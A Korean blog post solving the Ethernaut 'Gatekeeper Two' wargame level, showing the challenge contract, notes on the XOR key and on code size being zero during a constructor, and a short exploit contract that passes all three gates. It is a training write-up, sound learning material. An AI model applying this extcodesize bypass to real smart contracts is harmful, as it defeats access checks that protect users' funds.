본문 바로가기
  • Show the world what you can do
Web3/Ethernaut

[Ethernaut] GateKeeper Two 풀이

by kaymin 2025. 1. 18.
Instance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        // 8바이트_정수 (8바이트_데이터 (해시 (인코딩 (호출자_주소) ) ) ) XOR 8바이트_정수(키) == 8바이트_max
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

(주석은 혼자 필기한 것)

 

a xor b == c이면, a xor c == b 임을 이용하였고, 계약의 constructor()가 실행될 때, 코드사이즈가 0임을 이용하였다.

헷갈렸었는데, constructor()던 어디던 msg.sender는 나를 호출한 컨트랙트 또는 EOA 주소임을 기억하자.

 

Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract call_gatekeeper_two{
    address inst_addr = ADDRESS;
    bytes8 gatekey=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (type(uint64).max));
    constructor() public{
        inst_addr.call(abi.encodeWithSignature("enter(bytes8)", gatekey));
    }
}

 

'Web3 > Ethernaut' 카테고리의 다른 글

[Ethernaut] Switch 풀이  (0) 2025.01.18
[Ethernaut] Good Samaritan 풀이  (0) 2025.01.18
[Ethernaut] Denial 풀이  (0) 2025.01.18
[Ethernaut] Magic Number 풀이  (0) 2025.01.18
[Ethernaut] Gatekeeper One 풀이  (0) 2025.01.18

댓글